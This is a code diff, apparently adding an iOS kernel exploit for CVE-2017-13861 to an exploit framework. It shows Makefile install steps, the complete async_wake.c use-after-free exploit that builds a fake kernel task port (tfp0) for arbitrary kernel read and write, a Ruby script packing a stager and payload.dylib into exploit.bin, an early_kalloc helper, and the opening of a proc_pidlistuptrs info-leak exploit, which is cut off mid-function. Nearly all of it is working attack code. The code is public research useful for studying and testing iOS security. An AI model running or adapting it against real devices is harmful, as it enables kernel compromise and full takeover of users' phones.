-fno-stack-protector -fobjc-arc -fmodules -framework IOKit -lc++
strip -u -r payload.dylib
install: exploit.bin
mkdir -p ../../../../data/exploits/CVE-2017-13861
cp exploit.bin ../../../../data/exploits/CVE-2017-13861/exploit
clean:
rm -f *.o loader exploit.bin payload.dylib liboffsetfinder64/*.o
+711
View File
@@ -0,0 +1,711 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <pthread.h>
#include <CoreFoundation/CoreFoundation.h>
#include "async_wake.h"
#include "koffsets.h"
#include "kernel_utils.h"
#include "kmem.h"
#include "kutils.h"
#include "early_kalloc.h"
#include "find_port.h"
#include "common.h"
#ifdef __OBJC__
#include <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
#else
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
#endif
// various prototypes and structure definitions for missing iOS headers:
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t* data,
mach_msg_type_number_t* dataCnt);
/****** IOKit/IOKitLib.h *****/
typedef mach_port_t io_service_t;
typedef mach_port_t io_connect_t;
extern const mach_port_t kIOMasterPortDefault;
#define IO_OBJECT_NULL (0)
kern_return_t
IOConnectCallAsyncMethod(
mach_port_t connection,
uint32_t selector,
mach_port_t wakePort,
uint64_t* reference,
uint32_t referenceCnt,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCntP);
kern_return_t
IOConnectCallMethod(
mach_port_t connection,
uint32_t selector,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCntP);
io_service_t
IOServiceGetMatchingService(
mach_port_t _masterPort,
CFDictionaryRef matching);
CFMutableDictionaryRef
IOServiceMatching(
const char* name);
kern_return_t
IOServiceOpen(
io_service_t service,
task_port_t owningTask,
uint32_t type,
io_connect_t* connect);
/******** end extra headers ***************/
mach_port_t user_client = MACH_PORT_NULL;
// make_dangling will drop an extra reference on port
// this is the actual bug:
void make_dangling(mach_port_t port)
{
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0x18;
uint64_t* ivals = (uint64_t*)inputStruct;
ivals[0] = 1;
ivals[1] = 2;
ivals[2] = 3;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
uint64_t reference[8] = { 0 };
uint32_t referenceCnt = 1;
for (int i = 0; i < 2; i++) {
err = IOConnectCallAsyncMethod(
user_client,
17, // s_set_surface_notify
port,
reference,
referenceCnt,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
LOG("%x", err);
};
err = IOConnectCallMethod(
user_client,
18, // s_remove_surface_notify
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
LOG("%x", err);
}
static bool prepare_user_client()
{
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
if (service == IO_OBJECT_NULL) {
LOG("unable to find service");
return false;
}
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
if (err != KERN_SUCCESS) {
LOG("unable to get user client connection");
return false;
}
LOG("got user client: 0x%x", user_client);
return true;
}
mach_port_t* prepare_ports(int n_ports)
{
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
for (int i = 0; i < n_ports; i++) {
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
if (err != KERN_SUCCESS) {
for (int j = 0; j < i; j++) {
mach_port_deallocate(mach_task_self(), ports[j]);
}
free(ports);
return NULL;
}
}
return ports;
}
void free_ports(mach_port_t* ports, int n_ports)
{
for (int i = 0; i < n_ports; i++) {
mach_port_t port = ports[i];
if (port == MACH_PORT_NULL) {
continue;
}
mach_port_destroy(mach_task_self(), port);
}
}
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)
{
// allocate a port to send the messages to
mach_port_t q = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
return MACH_PORT_NULL;
}
mach_port_limits_t limits = { 0 };
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
err = mach_port_set_attributes(mach_task_self(),
q,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits,
MACH_PORT_LIMITS_INFO_COUNT);
if (err != KERN_SUCCESS) {
LOG("failed to increase queue limit");
return MACH_PORT_NULL;
}
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = q;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));
return MACH_PORT_NULL;
}
}
return q;
}
/*
for the given mach message size, how big will the ipc_kmsg structure be?
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
The size is overallocated so that if the message was sent from a 32-bit process
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
means that for each descriptor they would need an extra 4 bytes of space for the
larger pointer. Except at this point they have no idea what's in the message
so they assume the worst case for all messages. This leads to approximately a 30%
overhead in the allocation size.
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
When the message is actually written into this buffer it's aligned to the end
*/
/*
build a fake task port object to get an arbitrary read
I am basing this on the techniques used in Yalu 10.2 released by
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
in *OS Internals Volume III)
There are a few difference here. We have a kernel memory disclosure bug so
we know the address the dangling port pointer points to. This means we don't need
to point the task to userspace to get a "what+where" primitive since we can just
put whatever recursive structure we require in the object which will replace
the free'd port.
We can also leverage the fact that we have a dangling mach port pointer
to also write to a small area of the dangling port (via mach_port_set_context)
If we build the replacement object (with the fake struct task)
correctly we can set it up such that by calling mach_port_set_context we can control
where the arbitrary read will read from.
this same method is used again a second time once the arbitrary read works so that the vm_map
and receiver can be set correctly turning this into a fake kernel task port.
*/
static uint32_t IO_BITS_ACTIVE = 0x80000000;
static uint32_t IKOT_TASK = 2;
static uint32_t IKOT_NONE = 0;
uint64_t second_port_initial_context = 0x1024204110244201;
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)
{
uint8_t* body = malloc(message_body_size);
memset(body, 0, message_body_size);
uint32_t port_page_offset = dangling_port_address & 0xfff;
// structure required for the first fake port:
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
// set the kobject pointer such that task->bsd_info reads from ip_context:
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
if (fake_port + fake_task_offset < body) {
LOG("the maths is wrong somewhere, fake task doesn't fit in message");
return NULL;
}
uint8_t* fake_task = fake_port + fake_task_offset;
// set the ref_count field of the fake task:
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
// make sure the task is active
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
// set the vm_map of the fake task:
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
// set the task lock type of the fake task's lock:
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
return body;
}
/*
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
*
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
* without leaking memory
*/
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
{
kern_return_t err;
mach_port_t tfp0 = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port");
}
// build a fake struct task for the kernel task:
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);
void* fake_kernel_task = malloc(0x1000);
memset(fake_kernel_task, 0, 0x1000);
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
free(fake_kernel_task);
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
LOG("read fake_task_refs: %x", fake_task_refs);
if (fake_task_refs != 0xd00d) {
LOG("read back value didn't match...");
}
// now make the changes to the port object to make it a task port:
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
// swap our receive right for a send right:
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = tfp0 >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
#define IE_BITS_SEND (1 << 16)
#define IE_BITS_RECEIVE (1 << 17)
bits &= (~IE_BITS_RECEIVE);
bits |= IE_BITS_SEND;
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
LOG("about to test new tfp0");
vm_offset_t data_out = 0;
mach_msg_type_number_t out_size = 0;
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
if (err != KERN_SUCCESS) {
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
return MACH_PORT_NULL;
}
LOG("kernel read via second tfp0 port worked?");
LOG("0x%016llx", *(uint64_t*)data_out);
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
return tfp0;
}
// task_self_addr points to the struct ipc_port for our task port
uint64_t find_kernel_vm_map(uint64_t task_self_addr)
{
uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
while (struct_task != 0) {
uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
if (pid == 0) {
uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
return vm_map;
}
struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
}
LOG("unable to find kernel task...");
return 0;
}
const uint64_t context_magic = 0x1214161800000000; // a random constant
const uint64_t initial_context = 0x1020304015253545; // another random constant
kern_return_t async_wake(mach_port_t* tfp0)
{
// offsets are required before we get r/w:
offsets_init();
kern_return_t err;
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));
if (!prepare_user_client()) {
return KERN_FAILURE;
}
uint64_t task_self = task_self_addr();
if (task_self == 0) {
LOG("unable to disclose address of our task port");
return KERN_FAILURE;
}
LOG("our task port is at 0x%llx", task_self);
int n_pre_ports = 100000; //8000
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
if (pre_ports == NULL) {
return KERN_FAILURE;
}
// make a bunch of smaller allocations in a different zone which can be collected later:
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
uint8_t* smaller_body = malloc(smaller_body_size);
memset(smaller_body, 'C', smaller_body_size);
const int n_smaller_ports = 600; // 150 MB
mach_port_t smaller_ports[n_smaller_ports];
for (int i = 0; i < n_smaller_ports; i++) {
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
if (smaller_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
}
// now find a suitable port
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
// completely control all the data:
// specifically we're targetting kalloc.4096 but the message body will only span
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
// actually, since we're also putting a fake task struct here and want
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
int ports_to_test = 100;
int base = n_pre_ports - 1000;
mach_port_t first_port = MACH_PORT_NULL;
uint64_t first_port_address = 0;
for (int i = 0; i < ports_to_test; i++) {
mach_port_t candidate_port = pre_ports[base + i];
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
uint64_t page_offset = candidate_address & 0xfff;
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);
pre_ports[base + i] = MACH_PORT_NULL;
first_port = candidate_port;
first_port_address = candidate_address;
break;
}
}
if (first_port == MACH_PORT_NULL) {
LOG("unable to find a candidate port with a suitable page offset");
return KERN_FAILURE;
}
uint64_t* context_ptr = NULL;
uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
if (replacer_message_body == NULL) {
return KERN_FAILURE;
}
LOG("replacer_body_size: 0x%x", replacer_body_size);
LOG("message_body_offset: 0x%x", message_body_offset);
make_dangling(first_port);
free_ports(pre_ports, n_pre_ports);
// free the smaller ports, they will get gc'd later:
for (int i = 0; i < n_smaller_ports; i++) {
mach_port_destroy(mach_task_self(), smaller_ports[i]);
}
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
const int replacer_ports_limit = 200; // about 200 MB
mach_port_t replacer_ports[replacer_ports_limit];
memset(replacer_ports, 0, sizeof(replacer_ports));
uint32_t i;
for (i = 0; i < replacer_ports_limit; i++) {
uint64_t context_val = (context_magic) | i;
*context_ptr = context_val;
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
if (replacer_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
// we want the GC to actually finish, so go slow...
pthread_yield_np();
usleep(10000);
LOG("%d", i);
}
// find out which replacer port it was
mach_port_context_t replacer_port_number = 0;
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
if (err != KERN_SUCCESS) {
LOG("unable to get context: %d %s", err, mach_error_string(err));
return KERN_FAILURE;
}
replacer_port_number &= 0xffffffff;
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
return KERN_FAILURE;
}
LOG("got replaced with replacer port %ld", replacer_port_number);
prepare_rk_via_kmem_read_port(first_port);
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
if (kernel_vm_map == 0) {
return KERN_FAILURE;
}
LOG("found kernel vm_map: 0x%llx", kernel_vm_map);
// now free first replacer and put a fake kernel task port there
// we need to do this becase the first time around we don't know the address
// of ipc_space_kernel which means we can't fake a port owned by the kernel
free(replacer_message_body);
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
if (replacer_message_body == NULL) {
return KERN_FAILURE;
}
// free the first replacer
mach_port_t replacer_port = replacer_ports[replacer_port_number];
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
mach_port_destroy(mach_task_self(), replacer_port);
const int n_second_replacer_ports = 10;
mach_port_t second_replacer_ports[n_second_replacer_ports];
for (int i = 0; i < n_second_replacer_ports; i++) {
*context_ptr = i;
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
if (second_replacer_ports[i] == MACH_PORT_NULL) {
return KERN_FAILURE;
}
}
// hopefully that worked the second time too!
// check the context:
replacer_port_number = 0;
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
if (err != KERN_SUCCESS) {
LOG("unable to get context: %d %s", err, mach_error_string(err));
return KERN_FAILURE;
}
replacer_port_number &= 0xffffffff;
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
return KERN_FAILURE;
}
LOG("second time got replaced with replacer port %ld", replacer_port_number);
// clear up the original replacer ports:
for (int i = 0; i < replacer_ports_limit; i++) {
mach_port_destroy(mach_task_self(), replacer_ports[i]);
}
// then clear up the second replacer ports (apart from the one in use)
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
for (int i = 0; i < n_second_replacer_ports; i++) {
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
}
LOG("will try to read from second port (fake kernel)");
// try to read some kernel memory using the second port:
vm_offset_t data_out = 0;
mach_msg_type_number_t out_size = 0;
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
if (err != KERN_SUCCESS) {
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
return KERN_FAILURE;
}
LOG("kernel read via fake kernel task port worked?");
LOG("0x%016llx", *(uint64_t*)data_out);
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
prepare_rwk_via_tfp0(first_port);
LOG("about to build safer tfp0");
//early_kalloc(0x10000);
//return 0;
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
prepare_rwk_via_tfp0(safer_tfp0);
LOG("built safer tfp0");
LOG("about to clear up");
// can now clean everything up
WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
// first port will soon point to freed memory, so neuter it:
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = first_port >> 8;
const int sizeof_ipc_entry_t = 0x18;
// remove all rights
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
// clear the ipc_port port too
WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);
mach_port_destroy(mach_task_self(), second_replacement_port);
LOG("cleared up");
*tfp0 = safer_tfp0;
return KERN_SUCCESS;
}
+11
View File
@@ -0,0 +1,11 @@
#ifndef async_wake_h
#define async_wake_h
#include <stdio.h>
#ifdef __cplusplus
extern "C"
#endif
kern_return_t async_wake(mach_port_t* tfp0);
#endif /* async_wake_h */
+27
View File
@@ -0,0 +1,27 @@
#ifndef COMMON_H
#define COMMON_H
#include <stdint.h> // uint*_t
//#define LOG(str, args...) do {} while(0)
//#define LOG(str, args...) do { NSLog(@str, ##args); } while(0)
//#define LOG(str, args...) do { fprintf(stderr, str, ##args); } while(0)
#ifdef __LP64__
# define ADDR "0x%016llx"
# define MACH_HEADER_MAGIC MH_MAGIC_64
# define MACH_LC_SEGMENT LC_SEGMENT_64
typedef struct mach_header_64 mach_hdr_t;
typedef struct segment_command_64 mach_seg_t;
typedef uint64_t kptr_t;
#else
# define ADDR "0x%08x"
# define MACH_HEADER_MAGIC MH_MAGIC
# define MACH_LC_SEGMENT LC_SEGMENT
typedef struct mach_header mach_hdr_t;
typedef struct segment_command mach_seg_t;
typedef uint32_t kptr_t;
#endif
typedef struct load_command mach_lc_t;
#endif
+64
View File
@@ -0,0 +1,64 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'macho'
stager_file = ARGV[0]
data = File.binread(stager_file)
macho = MachO::MachOFile.new_from_bin(data)
main_func = macho[:LC_MAIN].first
entry_offset = main_func.entryoff
start = -1
min = -1
max = 0
for segment in macho.segments
next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
puts "segment: #{segment.segname} #{segment.vmaddr.to_s(16)}"
if min == -1 or min > segment.vmaddr
min = segment.vmaddr
end
if max < segment.vmaddr + segment.vmsize
max = segment.vmaddr + segment.vmsize
end
end
puts "data: #{min.to_s(16)} -> #{max.to_s(16)} #{(max - min).to_s(16)}"
output_data = "\x00" * (max - min)
for segment in macho.segments
#next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
puts "segment: #{segment.segname} off: #{segment.offset.to_s(16)} vmaddr: #{segment.vmaddr.to_s(16)} fileoff: #{segment.fileoff.to_s(16)}"
for section in segment.sections
puts "section: #{section.sectname} off: #{section.offset.to_s(16)} addr: #{section.addr.to_s(16)} size: #{section.size.to_s(16)}"
flat_addr = section.addr - min
section_data = data[section.offset, section.size]
#file_section = section.offset
#puts "info: #{segment.fileoff.to_s(16)} #{segment.offset.to_s(16)} #{section.size.to_s(16)} #{file_section.to_s(16)}"
#puts "?: #{data.size.to_s(16)} #{file_section.to_s(16)}"
if section_data
puts "flat_addr: #{flat_addr.to_s(16)} (#{section_data.size.to_s(16)})"
if start == -1 or start > flat_addr
start = flat_addr
end
output_data[flat_addr, section_data.size] = section_data
end
end
end
puts "start: #{start.to_s(16)}"
branch = `rasm2 -b 64 -a arm "b 0x#{start.to_s(16)}"`
puts "branch: #{branch}"
output_data[0,4] = [ branch[0..7] ].pack("H*")
puts "size: #{output_data.length}"
add_dylib = 0x10000
padding = "\x00" * (add_dylib - output_data.length)
output_data = output_data + padding
payload = File.binread("payload.dylib")
output_data[add_dylib, payload.size] = payload
puts "final size: #{output_data.length}"
File.binwrite("exploit.bin", output_data)
+73
View File
@@ -0,0 +1,73 @@
//
// early_kalloc.c
// async_wake_ios
//
// Created by Ian Beer on 12/11/17.
// Copyright © 2017 Ian Beer. All rights reserved.
//
#include "early_kalloc.h"
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
// get a kalloc allocation before we've got a kcall interface to just call it
uint64_t early_kalloc(int size)
{
mach_port_t port = MACH_PORT_NULL;
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("unable to allocate port");
}
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
struct simple_msg {
mach_msg_header_t hdr;
char buf[0];
};
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
struct simple_msg* msg = malloc(msg_size);
memset(msg, 0, msg_size);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
msg->hdr.msgh_remote_port = port;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414142;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("early kalloc failed to send message");
}
// find the message buffer:
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
LOG("message buffer: %llx", message_buffer);
// leak the message buffer:
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
return message_buffer;
}
@@ -0,0 +1,8 @@
#ifndef early_kalloc_h
#define early_kalloc_h
#include <stdint.h>
uint64_t early_kalloc(int size);
#endif
+264
View File
@@ -0,0 +1,264 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
/*
* this is an exploit for the proc_pidlistuptrs bug (P0 issue 1372)
*
* It will reliably determine the kernel address of a mach port.
* Knowing the addresses of ports makes the other UaF exploit much simpler.
*/
// missing headers
#define KEVENT_FLAG_WORKLOOP 0x400
typedef uint64_t kqueue_id_t;
struct kevent_qos_s {
uint64_t ident; /* identifier for this event */
int16_t filter; /* filter for event */
uint16_t flags; /* general flags */
uint32_t qos; /* quality of service when servicing event */
uint64_t udata; /* opaque user data identifier */
uint32_t fflags; /* filter-specific flags */
uint32_t xflags; /* extra filter-specific flags */
int64_t data; /* filter-specific data */
uint64_t ext[4]; /* filter-specific extensions */
};
#define PRIVATE
#include <sys/event.h>
#include <sys/time.h>
#include <sys/types.h>
struct kevent_extinfo {
struct kevent_qos_s kqext_kev;
uint64_t kqext_sdata;
int kqext_status;
int kqext_sfflags;
uint64_t kqext_reserved[2];
};
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
// appends n_events user events onto this process's kevent queue
static void fill_events(int n_events)
{
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
.ident = 1,
.flags = EV_ADD,
.udata = 0x2345 } };
kqueue_id_t id = 0x1234;
for (int i = 0; i < n_events; i++) {
